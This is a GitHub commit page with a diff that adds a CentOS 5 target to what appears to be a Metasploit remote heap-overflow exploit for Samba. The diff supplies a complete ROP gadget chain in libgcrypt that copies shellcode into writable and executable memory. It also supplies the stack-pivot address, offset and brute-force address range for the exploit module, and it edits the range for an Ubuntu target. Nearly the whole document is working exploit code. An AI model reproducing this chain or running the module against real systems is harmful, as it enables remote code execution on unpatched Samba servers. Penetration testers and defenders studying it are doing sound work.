Skip to content

Commit f7481b1

Browse files
author
m m
committed
add centos5 target
1 parent f819ec8 commit f7481b1

File tree

2 files changed

+57
-1
lines changed

2 files changed

+57
-1
lines changed

data/ropdb/samba.xml

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -260,7 +260,51 @@
260260

261261
</rop>
262262

263+
<rop>
264+
<compatibility>
265+
<target>3.5.10-0.107.el5 on CentOS 5</target>
266+
</compatibility>
263267

268+
<!--
269+
yum list |grep libgcrypt
270+
libgcrypt.i386 1.4.4-5.el5 installed
271+
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
272+
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
273+
section is writable and executable, we'll copy the shellcode over there instead of using mmap
274+
-->
275+
276+
<gadgets base="0">
277+
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
278+
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
279+
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
280+
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
281+
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
282+
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
283+
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
284+
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
285+
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
286+
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
287+
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
288+
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
289+
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
290+
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
291+
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
292+
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
293+
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
294+
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
295+
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
296+
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
297+
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
298+
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
299+
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
300+
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
301+
<gadget value ="0x00000000">junk for ebp **1**</gadget>
302+
<gadget offset="0x0006200a">pushad ; ret</gadget>
303+
<gadget value ="size">payload size</gadget>
304+
</gadgets>
305+
306+
307+
</rop>
264308

265309

266310

modules/exploits/linux/samba/setinfopolicy_heap.rb

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ def initialize(info = {})
6464
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
6565
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
6666
'Start' => 0xb67f1000 ,
67-
'Stop' => 0xb6a5b000 ,
67+
'Stop' => 0xb69ef000 ,
6868
'Step' => 0x1000,
6969
}
7070
],
@@ -131,7 +131,19 @@ def initialize(info = {})
131131
'Stop' => 0xb6a61000 ,
132132
'Step' => 0x1000,
133133
}
134+
],
135+
['3.5.10-0.107.el5 on CentOS 5',
136+
{
137+
'Arch' => ARCH_X86,
138+
'Offset' => 0x11c0,
139+
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
140+
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
141+
'Start' => 0xb6962000 ,
142+
'Stop' => 0xb6a61000 ,
143+
'Step' => 0x1000,
144+
}
134145
]
146+
135147
],
136148
'DisclosureDate' => 'Apr 10 2012',
137149
'DefaultTarget' => 0

0 commit comments

Comments
 (0)